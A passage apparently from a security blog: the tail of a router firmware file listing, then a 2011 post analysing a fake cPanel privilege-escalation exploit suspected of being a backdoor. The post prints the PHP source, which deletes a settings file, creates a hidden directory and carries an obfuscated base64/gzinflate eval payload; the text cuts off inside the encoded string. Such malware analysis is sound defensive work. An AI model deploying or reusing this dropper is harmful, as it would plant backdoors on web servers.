111: www\cgi-bin\setup_wan_pptp.exe      ?1:0xac514ecc offset: 0     size: 0 112: www\cgi-bin\snmp_all.exe            ?1:0xac514ecc offset: 0     size: 0 113: www\cgi-bin\snmp_community.exe      ?1:0xac514ecc offset: 0     size: 0 114: www\cgi-bin\snmp_trap.exe           ?1:0xac514ecc offset: 0     size: 0 115: www\cgi-bin\snrboot.exe             ?1:0xac514ecc offset: 0     size: 0 116: www\cgi-bin\status.exe              ?1:0xac514ecc offset: 0     size: 0 117: www\cgi-bin\statusprocess.exe       ?1:0xac514ecc offset: 0     size: 0 118: www\cgi-bin\switch_vlan_add.exe     ?1:0xac514ecc offset: 0     size: 0 119: www\cgi-bin\switch_vlan_delete.exe  ?1:0xac514ecc offset: 0     size: 0 120: www\cgi-bin\system_syslog_scr.exe   ?1:0xac514ecc offset: 0     size: 0 121: www\cgi-bin\tdhcp.exe               ?1:0xac514ecc offset: 0     size: 0 122: www\cgi-bin\tiny_del.exe            ?1:0xac514ecc offset: 0     size: 0 123: www\cgi-bin\tlog.exe                ?1:0xac514ecc offset: 0     size: 0 124: www\cgi-bin\tmailtst.exe            ?1:0xac514ecc offset: 0     size: 0 125: www\cgi-bin\tpppoe.exe              ?1:0xac514ecc offset: 0     size: 0 126: www\cgi-bin\tr69_setup.cgi          ?1:0xac514ecc offset: 0     size: 0 127: www\cgi-bin\trenewip.exe            ?1:0xac514ecc offset: 0     size: 0 128: www\cgi-bin\tswup.exe               ?1:0xac514ecc offset: 0     size: 0 129: www\cgi-bin\tswupst.exe             ?1:0xac514ecc offset: 0     size: 0 130: www\cgi-bin\upgrade.exe             ?1:0xac514ecc offset: 0     size: 0 131: www\cgi-bin\upgrade_config.exe      ?1:0xac514ecc offset: 0     size: 0 132: www\cgi-bin\upgrade_firm_browse.exe ?1:0xac514ecd offset: 0     size: 0 133: www\cgi-bin\upnp_eb.exe             ?1:0xac514ecd offset: 0     size: 0 134: www\cgi-bin\wireless.exe            ?1:0xac514ecd offset: 0     size: 0 135: www\cgi-bin\wireless1X.exe          ?1:0xac514ecd offset: 0     size: 0 136: www\cgi-bin\wireless_country.exe    ?1:0xac514ecd offset: 0     size: 0 137: www\cgi-bin\wireless_e.exe          ?1:0xac514ecd offset: 0     size: 0 138: www\cgi-bin\wireless_eb.exe         ?1:0xac514ecd offset: 0     size: 0 139: www\cgi-bin\wireless_eb_burst.exe   ?1:0xac514ecd offset: 0     size: 0 140: www\cgi-bin\wireless_f.exe          ?1:0xac514ecd offset: 0     size: 0 141: www\cgi-bin\wireless_info.exe       ?1:0xac514ecd offset: 0     size: 0 142: www\cgi-bin\wireless_ssid.exe       ?1:0xac514ecd offset: 0     size: 0 143: www\cgi-bin\wireless_wep.exe        ?1:0xac514ecd offset: 0     size: 0 144: www\cgi-bin\wireless_wpa.exe        ?1:0xac514ecd offset: 0     size: 0 145: www\cgi-bin\wiretype.exe            ?1:0xac514ecd offset: 0     size: 0 146: www\cgi-bin\wsetup_wan_pptp.exe     ?1:0xac514ecd offset: 0     size: 0 147: www\CPE\cpe.cgi                     ?1:0xac514ecd offset: 0     size: 0 148: www\doc\adsl.stm                    ?1:0xac514ecd offset: 0     size: 443 149: www\doc\adsl_status101.stm          ?1:0xac514ecd offset: 443   size: 443 150: www\doc\atmpvc.stm                  ?1:0xac514ecd offset: 886   size: 434 151: www\doc\clonetemp.stm               ?1:0xac514ecd offset: 1320  size: 398 152: www\doc\ddns_main105.stm            ?1:0xac514ecd offset: 1718  size: 438 153: www\doc\firewall.stm                ?1:0xac514ecd offset: 2156  size: 446 154: www\doc\firewall_tmp.stm            ?1:0xac514ecd offset: 2602  size: 408 155: www\doc\fw_info.stm                 ?1:0xacb71284 offset: 3010  size: 230 156: www\doc\f_a81.stm                   ?1:0xac514ecd offset: 3240  size: 443 157: www\doc\f_add810.stm                ?1:0xac514ecd offset: 3683  size: 446 158: www\doc\f_add811.stm                ?1:0xac514ecd offset: 4129  size: 446 159: www\doc\f_add8111.stm               ?1:0xac514ecd offset: 4575  size: 445 160: www\doc\f_add812.stm                ?1:0xac514ecd offset: 5020  size: 446 161: www\doc\f_add813.stm                ?1:0xac514ecd offset: 5466  size: 446 162: www\doc\f_add814.stm                ?1:0xac514ecd offset: 5912  size: 446 163: www\doc\f_add815.stm                ?1:0xac514ecd offset: 6358  size: 446 164: www\doc\f_add816.stm                ?1:0xac514ecd offset: 6804  size: 446 165: www\doc\f_add817.stm                ?1:0xac514ecd offset: 7250  size: 446 166: www\doc\f_add818.stm                ?1:0xac514ecd offset: 7696  size: 446 167: www\doc\f_add819.stm                ?1:0xac514ecd offset: 8142  size: 446 168: www\doc\f_d86.stm                   ?1:0xac514ecd offset: 8588  size: 443 169: www\doc\f_mac82.stm                 ?1:0xac514ecd offset: 9031  size: 445 170: www\doc\f_rule84.stm                ?1:0xac514ecd offset: 9476  size: 446 171: www\doc\f_rule841.stm               ?1:0xac514ecd offset: 9922  size: 448 172: www\doc\f_rule8410.stm              ?1:0xac514ecd offset: 10370 size: 449 173: www\doc\f_rule8411.stm              ?1:0xac514ecd offset: 10819 size: 449 174: www\doc\f_rule8412.stm              ?1:0xac514ecd offset: 11268 size: 449 175: www\doc\f_rule8413.stm              ?1:0xac514ecd offset: 11717 size: 449 176: www\doc\f_rule8414.stm              ?1:0xac514ecd offset: 12166 size: 449 177: www\doc\f_rule8415.stm              ?1:0xac514ecd offset: 12615 size: 449 178: www\doc\f_rule8416.stm              ?1:0xac514ecd offset: 13064 size: 449 179: www\doc\f_rule8417.stm              ?1:0xac514ecd offset: 13513 size: 449 180: www\doc\f_rule8418.stm              ?1:0xac514ecd offset: 13962 size: 449 181: www\doc\f_rule8419.stm              ?1:0xac514ecd offset: 14411 size: 449 182: www\doc\f_spi_h85.stm               ?1:0xac514ecd offset: 14860 size: 447 183: www\doc\f_u83.stm                   ?1:0xac514ecd offset: 15307 size: 443 184: www\doc\igd.xml                     ?1:0xac514ecd offset: 15750 size: 4518 185: www\doc\igd_l3f.xml                 ?1:0xac514ecd offset: 20268 size: 895 186: www\doc\igd_osf.xml                 ?1:0xac514ecd offset: 21163 size: 700 187: www\doc\igd_wcic.xml                ?1:0xac514ecd offset: 21863 size: 3878 188: www\doc\igd_wdsl.xml                ?1:0xac514ecd offset: 25741 size: 1876 189: www\doc\igd_wec.xml                 ?1:0xac514ecd offset: 27617 size: 756 190: www\doc\igd_wic.xml                 ?1:0xac514ecd offset: 28373 size: 10086 191: www\doc\igd_wpc.xml                 ?1:0xac514ecd offset: 38459 size: 11798 192: www\doc\index.stm                   ?1:0xac514ece offset: 50257 size: 477 193: www\doc\lan.stm                     ?1:0xac514ece offset: 50734 size: 436 194: www\doc\lan_dns51.stm               ?1:0xac514ece offset: 51170 size: 435 195: www\doc\mm_atminttemp10.stm         ?1:0xac514ece offset: 51605 size: 505 196: www\doc\mm_atminttemp11.stm         ?1:0xac514ece offset: 52110 size: 506 197: www\doc\mm_atminttemp12.stm         ?1:0xac514ece offset: 52616 size: 506 198: www\doc\mm_atminttemp13.stm         ?1:0xac514ece offset: 53122 size: 506 199: www\doc\mm_atminttemp14.stm         ?1:0xac514ece offset: 53628 size: 506 200: www\doc\mm_atminttemp15.stm         ?1:0xac514ece offset: 54134 size: 506 201: www\doc\mm_atminttemp16.stm         ?1:0xac514ece offset: 54640 size: 506 202: www\doc\mm_atminttemp17.stm         ?1:0xac514ece offset: 55146 size: 506 203: www\doc\mm_atminttemp18.stm         ?1:0xac514ece offset: 55652 size: 506 204: www\doc\mm_atminttemp3.stm          ?1:0xac514ece offset: 56158 size: 504 205: www\doc\mm_atminttemp4.stm          ?1:0xac514ece offset: 56662 size: 504 206: www\doc\mm_atminttemp5.stm          ?1:0xac514ece offset: 57166 size: 504 207: www\doc\mm_atminttemp6.stm          ?1:0xac514ece offset: 57670 size: 504 208: www\doc\mm_atminttemp7.stm          ?1:0xac514ece offset: 58174 size: 504 209: www\doc\mm_atminttemp8.stm          ?1:0xac514ece offset: 58678 size: 504 210: www\doc\mm_atminttemp9.stm          ?1:0xac514ece offset: 59182 size: 504 211: www\doc\mm_qstatus.stm              ?1:0xac514ece offset: 59686 size: 499 212: www\doc\mm_r_tbl911.stm             ?1:0xac514ece offset: 60185 size: 500 213: www\doc\mm_r_tbl9110.stm            ?1:0xac514ece offset: 60685 size: 502 214: www\doc\mm_r_tbl912.stm             ?1:0xac514ece offset: 61187 size: 500 215: www\doc\mm_r_tbl913.stm             ?1:0xac514ece offset: 61687 size: 500 216: www\doc\mm_r_tbl914.stm             ?1:0xac514ece offset: 62187 size: 500 217: www\doc\mm_r_tbl915.stm             ?1:0xac514ece offset: 62687 size: 500 218: www\doc\mm_r_tbl916.stm             ?1:0xac514ece offset: 63187 size: 500 219: www\doc\mm_r_tbl917.stm             ?1:0xac514ece offset: 63687 size: 500 220: www\doc\mm_r_tbl918.stm             ?1:0xac514ece offset: 64187 size: 500 221: www\doc\mm_r_tbl919.stm             ?1:0xac514ece offset: 64687 size: 500 222: www\doc\mm_setupw_2.stm             ?1:0xaca529f4 offset: 65187 size: 414 223: www\doc\mm_setupw_3.stm             ?1:0xac514ece offset: 65601 size: 501 224: www\doc\mm_setupw_4.stm             ?1:0xac514ece offset: 66102 size: 502 225: www\doc\mm_setupw_5.stm             ?1:0xac514ece offset: 66604 size: 501 226: www\doc\mm_setupw_51.stm            ?1:0xac514ece offset: 67105 size: 504 227: www\doc\mr_tbl911.stm               ?1:0xac514ece offset: 67609 size: 439 228: www\doc\mr_tbl9110.stm              ?1:0xac514ece offset: 68048 size: 440 229: www\doc\mr_tbl912.stm               ?1:0xac514ece offset: 68488 size: 439 230: www\doc\mr_tbl913.stm               ?1:0xac514ece offset: 68927 size: 439 231: www\doc\mr_tbl914.stm               ?1:0xac514ece offset: 69366 size: 439 232: www\doc\mr_tbl915.stm               ?1:0xac514ece offset: 69805 size: 439 233: www\doc\mr_tbl916.stm               ?1:0xac514ece offset: 70244 size: 439 234: www\doc\mr_tbl917.stm               ?1:0xac514ece offset: 70683 size: 439 235: www\doc\mr_tbl918.stm               ?1:0xac514ece offset: 71122 size: 439 236: www\doc\mr_tbl919.stm               ?1:0xac514ece offset: 71561 size: 439 237: www\doc\m_adsl_status101.stm        ?1:0xac514ece offset: 72000 size: 500 238: www\doc\m_atminttemp10.stm          ?1:0xac514ece offset: 72500 size: 441 239: www\doc\m_atminttemp11.stm          ?1:0xac514ece offset: 72941 size: 441 240: www\doc\m_atminttemp12.stm          ?1:0xac514ece offset: 73382 size: 441 241: www\doc\m_atminttemp13.stm          ?1:0xac514ece offset: 73823 size: 441 242: www\doc\m_atminttemp14.stm          ?1:0xac514ece offset: 74264 size: 441 243: www\doc\m_atminttemp15.stm          ?1:0xac514ece offset: 74705 size: 441 244: www\doc\m_atminttemp16.stm          ?1:0xac514ece offset: 75146 size: 441 245: www\doc\m_atminttemp17.stm          ?1:0xac514ece offset: 75587 size: 441 246: www\doc\m_atminttemp18.stm          ?1:0xac514ece offset: 76028 size: 441 247: www\doc\m_atminttemp3.stm           ?1:0xac514ece offset: 76469 size: 440 248: www\doc\m_atminttemp4.stm           ?1:0xac514ece offset: 76909 size: 440 249: www\doc\m_atminttemp5.stm           ?1:0xac514ece offset: 77349 size: 440 250: www\doc\m_atminttemp6.stm           ?1:0xac514ece offset: 77789 size: 440 251: www\doc\m_atminttemp7.stm           ?1:0xac514ecf offset: 78229 size: 440 252: www\doc\m_atminttemp8.stm           ?1:0xac514ecf offset: 78669 size: 440 253: www\doc\m_atminttemp9.stm           ?1:0xac514ecf offset: 79109 size: 440 254: www\doc\m_atmpvc.stm                ?1:0xac514ecf offset: 79549 size: 500 255: www\doc\m_ddns_main.stm             ?1:0xac514ecf offset: 80049 size: 498 256: www\doc\m_firewall_a.stm            ?1:0xac514ecf offset: 80547 size: 498 257: www\doc\m_firewall_add.stm          ?1:0xac514ecf offset: 81045 size: 507 258: www\doc\m_firewall_add0.stm         ?1:0xac514ecf offset: 81552 size: 670 259: www\doc\m_firewall_add1.stm         ?1:0xac514ecf offset: 82222 size: 670 260: www\doc\m_firewall_add2.stm         ?1:0xac514ecf offset: 82892 size: 670 261: www\doc\m_firewall_add3.stm         ?1:0xac514ecf offset: 83562 size: 670 262: www\doc\m_firewall_add4.stm         ?1:0xac514ecf offset: 84232 size: 670 263: www\doc\m_firewall_add5.stm         ?1:0xac514ecf offset: 84902 size: 670 264: www\doc\m_firewall_add6.stm         ?1:0xac514ecf offset: 85572 size: 670 265: www\doc\m_firewall_add7.stm         ?1:0xac514ecf offset: 86242 size: 670 266: www\doc\m_firewall_add8.stm         ?1:0xac514ecf offset: 86912 size: 670 267: www\doc\m_firewall_add9.stm         ?1:0xac514ecf offset: 87582 size: 670 268: www\doc\m_firewall_d.stm            ?1:0xac514ecf offset: 88252 size: 498 269: www\doc\m_firewall_mac.stm          ?1:0xac514ecf offset: 88750 size: 500 270: www\doc\m_firewall_main.stm         ?1:0xac514ecf offset: 89250 size: 500 271: www\doc\m_firewall_rule.stm         ?1:0xac514ecf offset: 89750 size: 501 272: www\doc\m_firewall_rule_a.stm       ?1:0xac514ecf offset: 90251 size: 504 273: www\doc\m_firewall_rule_a0.stm      ?1:0xac514ecf offset: 90755 size: 508 274: www\doc\m_firewall_rule_a1.stm      ?1:0xac514ecf offset: 91263 size: 508 275: www\doc\m_firewall_rule_a2.stm      ?1:0xac514ecf offset: 91771 size: 508 276: www\doc\m_firewall_rule_a3.stm      ?1:0xac514ecf offset: 92279 size: 508 277: www\doc\m_firewall_rule_a4.stm      ?1:0xac514ecf offset: 92787 size: 508 278: www\doc\m_firewall_rule_a5.stm      ?1:0xac514ecf offset: 93295 size: 508 279: www\doc\m_firewall_rule_a6.stm      ?1:0xac514ecf offset: 93803 size: 508 280: www\doc\m_firewall_rule_a7.stm      ?1:0xac514ecf offset: 94311 size: 508 281: www\doc\m_firewall_rule_a8.stm      ?1:0xac514ecf offset: 94819 size: 508 282: www\doc\m_firewall_rule_a9.stm      ?1:0xac514ecf offset: 95327 size: 508 283: www\doc\m_firewall_spi_h.stm        ?1:0xac514ecf offset: 95835 size: 502 284: www\doc\m_firewall_u.stm            ?1:0xac514ecf offset: 96337 size: 498 285: www\doc\m_lan_dns.stm               ?1:0xac514ecf offset: 96835 size: 497 286: www\doc\m_lan_main.stm              ?1:0xac514ecf offset: 97332 size: 498 287: www\doc\m_nat_m.stm                 ?1:0xac514ecf offset: 97830 size: 493 288: www\doc\m_nat_main.stm              ?1:0xac514ecf offset: 98323 size: 495 289: www\doc\m_nat_sp.stm                ?1:0xac514ecf offset: 98818 size: 494 290: www\doc\m_nat_table.stm             ?1:0xac514ecf offset: 99312 size: 498 291: www\doc\m_nat_v.stm                 ?1:0xac514ecf offset: 99810 size: 493 292: www\doc\m_qos_main.stm              ?1:0xac514ecf offset: 100303 size: 495 293: www\doc\m_qos_tfm.stm               ?1:0xac514ecf offset: 100798 size: 498 294: www\doc\m_qos_tfs.stm               ?1:0xac514ecf offset: 101296 size: 497 295: www\doc\m_route_tbl.stm             ?1:0xac514ecf offset: 101793 size: 497 296: www\doc\m_r_mort.stm                ?1:0xac514ecf offset: 102290 size: 495 297: www\doc\m_r_rip.stm                 ?1:0xac514ecf offset: 102785 size: 493 298: www\doc\m_setupw_2.stm              ?1:0xaca529f4 offset: 103278 size: 401 299: www\doc\m_setupw_3.stm              ?1:0xac514ecf offset: 103679 size: 441 300: www\doc\m_setupw_4.stm              ?1:0xac514ecf offset: 104120 size: 441 301: www\doc\m_setupw_5.stm              ?1:0xac514ecf offset: 104561 size: 441 302: www\doc\m_setupw_51.stm             ?1:0xac514ecf offset: 105002 size: 442 303: www\doc\m_snmp.stm                  ?1:0xac514ecf offset: 105444 size: 493 304: www\doc\m_status_main.stm           ?1:0xac514ecf offset: 105937 size: 499 305: www\doc\m_system_c.stm              ?1:0xac514ecf offset: 106436 size: 497 306: www\doc\m_system_f.stm              ?1:0xac514ecf offset: 106933 size: 497 307: www\doc\m_system_p.stm              ?1:0xac514ed0 offset: 107430 size: 496 308: www\doc\m_system_r.stm              ?1:0xac514ed0 offset: 107926 size: 497 309: www\doc\m_system_r1.stm             ?1:0xac514ed0 offset: 108423 size: 498 310: www\doc\m_system_t.stm              ?1:0xac514ed0 offset: 108921 size: 496 311: www\doc\m_sy_remote_mgmt.stm        ?1:0xac514ed0 offset: 109417 size: 507 312: www\doc\m_tools_backup.stm          ?1:0xac514ed0 offset: 109924 size: 502 313: www\doc\m_tools_restore.stm         ?1:0xac514ed0 offset: 110426 size: 503 314: www\doc\m_upnp_main.stm             ?1:0xac514ed0 offset: 110929 size: 498 315: www\doc\m_vlan.stm                  ?1:0xac514ed0 offset: 111427 size: 494 316: www\doc\m_vlan_a.stm                ?1:0xac514ed0 offset: 111921 size: 496 317: www\doc\m_vlan_a0.stm               ?1:0xac514ed0 offset: 112417 size: 499 318: www\doc\m_vlan_a1.stm               ?1:0xac514ed0 offset: 112916 size: 499 319: www\doc\m_vlan_a2.stm               ?1:0xac514ed0 offset: 113415 size: 499 320: www\doc\m_vlan_a3.stm               ?1:0xac514ed0 offset: 113914 size: 499 321: www\doc\m_vlan_a4.stm               ?1:0xac514ed0 offset: 114413 size: 499 322: www\doc\m_v_lan_a.stm               ?1:0xac514ed0 offset: 114912 size: 495 323: www\doc\m_wan_clone.stm             ?1:0xac514ed0 offset: 115407 size: 493 324: www\doc\m_wan_main.stm              ?1:0xac514ed0 offset: 115900 size: 496 325: www\doc\m_wireless_1x.stm           ?1:0xac514ed0 offset: 116396 size: 504 326: www\doc\m_wireless_e.stm            ?1:0xac514ed0 offset: 116900 size: 503 327: www\doc\m_wireless_id.stm           ?1:0xac514ed0 offset: 117403 size: 499 328: www\doc\m_wireless_mac.stm          ?1:0xac514ed0 offset: 117902 size: 500 329: www\doc\m_wireless_main.stm         ?1:0xac514ed0 offset: 118402 size: 500 330: www\doc\m_wireless_wep.stm          ?1:0xac514ed0 offset: 118902 size: 505 331: www\doc\m_wireless_wpa.stm          ?1:0xac514ed0 offset: 119407 size: 505 332: www\doc\nat.stm                     ?1:0xac514ed0 offset: 119912 size: 436 333: www\doc\nattemp.stm                 ?1:0xac514ed0 offset: 120348 size: 402 334: www\doc\nat_m71.stm                 ?1:0xac514ed0 offset: 120750 size: 433 335: www\doc\nat_sp73.stm                ?1:0xac514ed0 offset: 121183 size: 434 336: www\doc\nat_table74.stm             ?1:0xac514ed0 offset: 121617 size: 437 337: www\doc\nat_v72.stm                 ?1:0xac514ed0 offset: 122054 size: 433 338: www\doc\nw_mm_qstatus.stm           ?1:0xac514ed0 offset: 122487 size: 502 339: www\doc\nw_qstatus.stm              ?1:0xac514ed0 offset: 122989 size: 443 340: www\doc\n_firewall.stm              ?1:0xac514ed0 offset: 123432 size: 411 341: www\doc\n_nat.stm                   ?1:0xac514ed0 offset: 123843 size: 401 342: www\doc\n_wireless.stm              ?1:0xac514ed0 offset: 124244 size: 411 343: www\doc\qos.stm                     ?1:0xac514ed0 offset: 124655 size: 435 344: www\doc\qos_tfm111.stm              ?1:0xac514ed0 offset: 125090 size: 434 345: www\doc\qos_tfs112.stm              ?1:0xac514ed0 offset: 125524 size: 434 346: www\doc\qstatus.stm                 ?1:0xac514ed0 offset: 125958 size: 440 347: www\doc\reset_main.stm              ?1:0xac514ed0 offset: 126398 size: 440 348: www\doc\route.stm                   ?1:0xac514ed0 offset: 126838 size: 439 349: www\doc\route_tbl91.stm             ?1:0xac514ed0 offset: 127277 size: 439 350: www\doc\r_mort93.stm                ?1:0xac514ed0 offset: 127716 size: 436 351: www\doc\r_rip92.stm                 ?1:0xac514ed0 offset: 128152 size: 435 352: www\doc\setupw_2.stm                ?1:0xac514ed0 offset: 128587 size: 521 353: www\doc\setupw_3.stm                ?1:0xac514ed0 offset: 129108 size: 526 354: www\doc\setupw_4.stm                ?1:0xac514ed0 offset: 129634 size: 527 355: www\doc\setupw_5.stm                ?1:0xac514ed0 offset: 130161 size: 527 356: www\doc\snmp103.stm                 ?1:0xac514ed0 offset: 130688 size: 433 357: www\doc\status.stm                  ?1:0xac514ed0 offset: 131121 size: 444 358: www\doc\system.stm                  ?1:0xac514ed0 offset: 131565 size: 439 359: www\doc\system_c33.stm              ?1:0xac514ed0 offset: 132004 size: 439 360: www\doc\system_f34.stm              ?1:0xac514ed0 offset: 132443 size: 439 361: www\doc\system_p32.stm              ?1:0xac514ed0 offset: 132882 size: 439 362: www\doc\system_r35.stm              ?1:0xac514ed0 offset: 133321 size: 439 363: www\doc\system_t31.stm              ?1:0xac514ed0 offset: 133760 size: 439 364: www\doc\sy_remote_mgmt102.stm       ?1:0xac514ed0 offset: 134199 size: 443 365: www\doc\tools_backup332.stm         ?1:0xac514ed0 offset: 134642 size: 443 366: www\doc\tools_restore333.stm        ?1:0xac514ed0 offset: 135085 size: 444 367: www\doc\tr69.stm                    ?1:0xac8235a8 offset: 135529 size: 5260 368: www\doc\upnp_main104.stm            ?1:0xac514ed0 offset: 140789 size: 438 369: www\doc\v_lan52.stm                 ?1:0xac514ed0 offset: 141227 size: 432 370: www\doc\v_lan_a53.stm               ?1:0xac514ed1 offset: 141659 size: 435 371: www\doc\v_lan_a530.stm              ?1:0xac514ed1 offset: 142094 size: 435 372: www\doc\v_lan_a531.stm              ?1:0xac514ed1 offset: 142529 size: 435 373: www\doc\v_lan_a532.stm              ?1:0xac514ed1 offset: 142964 size: 435 374: www\doc\v_lan_a533.stm              ?1:0xac514ed1 offset: 143399 size: 435 375: www\doc\v_lan_a534.stm              ?1:0xac514ed1 offset: 143834 size: 435 376: www\doc\wait0.stm                   ?1:0xac514ed1 offset: 144269 size: 771 377: www\doc\wan.stm                     ?1:0xac514ed1 offset: 145040 size: 436 378: www\doc\wan_clone49.stm             ?1:0xac514ed1 offset: 145476 size: 437 379: www\doc\wireless.stm                ?1:0xac514ed1 offset: 145913 size: 446 380: www\doc\wireless_tmp.stm            ?1:0xac514ed1 offset: 146359 size: 409 381: www\doc\wl_1x66.stm                 ?1:0xac514ed1 offset: 146768 size: 444 382: www\doc\wl_e63.stm                  ?1:0xac514ed1 offset: 147212 size: 443 383: www\doc\wl_id61.stm                 ?1:0xac514ed1 offset: 147655 size: 444 384: www\doc\wl_mac62.stm                ?1:0xac514ed1 offset: 148099 size: 445 385: www\doc\wl_wep64.stm                ?1:0xac514ed1 offset: 148544 size: 445 386: www\doc\wl_wpa65.stm                ?1:0xac514ed1 offset: 148989 size: 445 387: www\images\a1.gif                   ?1:0xac514ed1 offset: 149434 size: 368 388: www\images\bar_bg3.gif              ?1:0xac514ed1 offset: 149802 size: 293 389: www\images\bg.gif                   ?1:0xac514ed1 offset: 150095 size: 651 390: www\images\clear.gif                ?1:0xac514ed1 offset: 150746 size: 54 391: www\images\close.gif                ?1:0xac514ed1 offset: 150800 size: 317 392: www\images\france.gif               ?1:0xac514ed1 offset: 151117 size: 131 393: www\images\kingdom.gif              ?1:0xac514ed1 offset: 151248 size: 672 394: www\images\logo.gif                 ?1:0xac912e4f offset: 151920 size: 2726 395: www\images\logo_m_adsl.gif          ?1:0xacb64f50 offset: 154646 size: 3685 396: www\images\logo_m_apro.gif          ?1:0xacb64f6e offset: 158331 size: 3525 397: www\images\logo_nb.gif              ?1:0xac514f51 offset: 161856 size: 970 398: www\images\logo_s.gif               ?1:0xac912e4f offset: 162826 size: 2726 399: www\images\logo_t.gif               ?1:0xac912e4f offset: 165552 size: 2726 400: www\images\logo_w.gif               ?1:0xaca54238 offset: 168278 size: 3052 401: www\images\p1.gif                   ?1:0xac514ed1 offset: 171330 size: 842 402: www\images\p2.gif                   ?1:0xac514ed1 offset: 172172 size: 823 403: www\images\p4.gif                   ?1:0xac514ed1 offset: 172995 size: 53 404: www\images\pixel.gif                ?1:0xac514ed1 offset: 173048 size: 54 405: www\images\sa3_1.gif                ?1:0xac514ed1 offset: 173102 size: 866 406: www\images\sw1_2.gif                ?1:0xac514ed1 offset: 173968 size: 866 407: www\images\top_3.gif                ?1:0xac514ed1 offset: 174834 size: 161 408: www\images\v_p5.gif                 ?1:0xac514ed1 offset: 174995 size: 49

As for the other 2 files, soho.bin and ar0700mp.bin, the first is the kernel of our system and the second is the ATM driver ( https://dev.openwrt.org/browser/trunk/package/ar7-atm/ ).

Fast and simple backdoor analysis

2011-07-12T12:05:00.001+03:00

Going through my reader feeds in the morning, I saw one post that stood out today. On average there are about 500 rss feeds / day and through time you get used to clear in a glance things that matter and things that are just noise. The “interesting” post today was about “cPanel 11.x Privilege Escalation Exploit” at Inj3ct0r ( http://1337day.com/exploits/16512 ) .

Strange I thought first of all Inj3ct0r is not the first place that something like that will appear, a cPanel privilege escalation exploit, if it existed, most possibly it should had appear first on exploit-db.com and/or full-disclosure mail list. Most of the times Inj3ct0r works like an aggregator from other places collecting exploits and papers from other security related websites.

Let’s have a look then,

   1: <?php   2: # cPanel 11.x Privilege Escalation Exploit   3: # Author : ZxH-Lab's   4: # Note :  Ghamzeh-Hacker Found it By Himself too :)   5: # Site : Sec4ever.CoM | Sec-L4b.OrG | Tryag.Cc |    6: # Greet'z 2 Tw1st3r | I-Hmx | Sec4Ever | MaestRo_Dz | The Injector | Mr.Dangers |FoX HacKeR | Jago-Dz | S4S | Mr.L4iVe | Ahmadso | r1z | JxH | BackTrack | Eng.Silent.Night | ProFeSSoR | 1337Day   7: # Special Greet'z 2 FreeMAN | EvIL SheLL [R.I.P] | Dr.AnGeL | Ghamzeh-HacKeR | T0r0b0xHACKER | X-Shadow | TheMMA    8: ?>   9:    10: <html>  11: <head>  12: <title>  13: # Privilege Escalation Exploit By TurkisH-RuleZ  14: </title>  15: </head>  16: <body>  17: <pre>  18:  ______  __     __   ___   ___             __       ________    _______   ___   ______      19: /_____/\/__/\ /__/\ /__/\ /__/\           /_/\     /_______/\ /_______/\ /__/\ /_____/\     20: \:::__\/\ \::\\:.\ \\::\ \\  \ \   _______\:\ \    \::: _  \ \\::: _  \ \\::\ \\:::__\/     21:    /: /  \_\::_\:_\/ \::\/_\ .\ \ /______/\\:\ \    \::(_)  \ \\::(_)  \/_\:_\/   /: /      22:   /::/___  _\/__\_\_/\\:: ___::\ \\__::::\/ \:\ \____\:: __  \ \\::  _  \ \      /::/___    23:  /_:/____/\\ \ \ \::\ \\: \ \\::\ \          \:\/___/\\:.\ \  \ \\::(_)  \ \    /_:/____/\  24:  \_______\/ \_\/  \__\/ \__\/ \::\/           \_____\/ \__\/\__\/ \_______\/    \_______\/  25:                                                                                             26:    27: <p><font face="Tahoma" size="2" color="#FF0000">* Note : This File Must be in The Main Website Address To Build Exploit Successfully </font></p>  28: <br><br>  29: <div align="left">  30:     <table border="0" cellspacing="0" cellpadding="0" width="100">  31:         <tr>  32:             <td>  33:             <p align="center"><b><font face="Verdana" color="#FF0000">  34:             <span style="background-color: #FFFFFF">Status b0x</span></font></b><font face="Verdana"><span style="background-color: #FFFFFF">  35:             </span></font>  36:             <textarea rows="10" cols="96" name="Status b0x" style="font-family: Tahoma; color: #FF0000; border: 1px dotted #FF0000"><?php  37:    38: Error_reporting(0);  39: unlink("../fantasticodata/kanoodle_settings.php");  40: $direcotry = "../.fantasticodata";  41: $mkdir = mkdir($direcotry);  42: if($mkdir){  43: echo "[+] Making Directory's Exploit ... Done\n\n";  44: }else{  45: echo"[+] I Can't Make New Folder , I'll Continue If It Exist's !\n\n";  46: }  47: $trsm = "PD9waHAKICMgWmFJZE9vSHhIYUNrRXIgLSByMDB0QGRucy5qbwogIyBNYXZpMSB+IFR1cmtpc0gtUnVsZVogVEVBTQogZXZhbChnemluZmxhdGUoYmFzZTY0X2RlY29kZSgnN2YxNWU5ckkwakFPLzUvcnluZFFkUHNlWUlJeFl2RWFlK0o5aWJkNGkrMGtEMGNnQVlvQk1SSVlrNXo4UHZ0YlZkMHR0VmFNN1p3emM3L2pjeVpBZDNWVmRYVlZkZlgrK3BVeTA5RjdyYUhlTWxjelpxK1ZXVkZtOU9HZ3Jhd3FSZmphMDd1UWpvbDkzWFhwMjN1clo5VWMweDNZanBsVlhiMXAxcnEyWWFxNWNKYmROM3UxdXU2YWh1VkVjNzJDTmF2WDZBemhjd0tZK1dBMjRtRU15OVhySGJQV0hQWWFBOHZ1dVZFUXZkT3hSN1doMDZrMWtTMFB3RFVIMll6cE9MWlQ2OWl0VFA3NDh2QXdrQWVwTmNwM00va2k1REJZeCt6YnpzRHF0YkxidFhVcVlUV3oyVGZ2QlFmQXJPVU8zR3dHOGJUTVFTYVhVLzc5YnlYN252L09abVRoWkhKdlZvbHdDQ1pXUkI1dzdzZU1qR1JWVy9tcG1CM1hEQ1VYVjM2dUtJYlp0SG9vellIdURBWlcxMVR6NzRGRTEybzROdjdNNXFBS1VOOWFWMjlaamRxZlEzdGd1alZuMktOTXJQZDd6TVZmdFk3VnRRWXN6Wk5TVjMrZzlobFM1UkdNU2N1SHNJZUQvbkJRcXcrYlRkTUJ3Ykg4R2ErS29HOHhGYzhnekwzcHVJQVdJRExGZ3BZaFdiL25pYldHM2UzcjBNTHYrKzArVDh2bThrcW1VdEFLeFV4T1dWMVZacldjOGtPWnFaMmVuRjhBa3Q5bTlpNHVUdWxYN1dyOTdCd28xSGEzcFJ6NDRXV2NiNTlkYlovNWVleTNsNzE1Y3ZKaGY5dlBacjk1OWs5Z0ZKcXpGUlpycTk4QWVRTkxUVkJOdmRGV3NwdzMzVlZtN2xiWFp1NTlmai9QM0gwRjlPN0FzZnB1UjNmYnBwdUZmRVF1bGVac2hNcXoxQlFNeUdDV1cvdXFRbEpDanQ5WUxqYVpxUHpuek9uZWFXMzk4bUt2ZGdrcG1hK2twbDJqbWdMeFpuV1ZYRWNLNU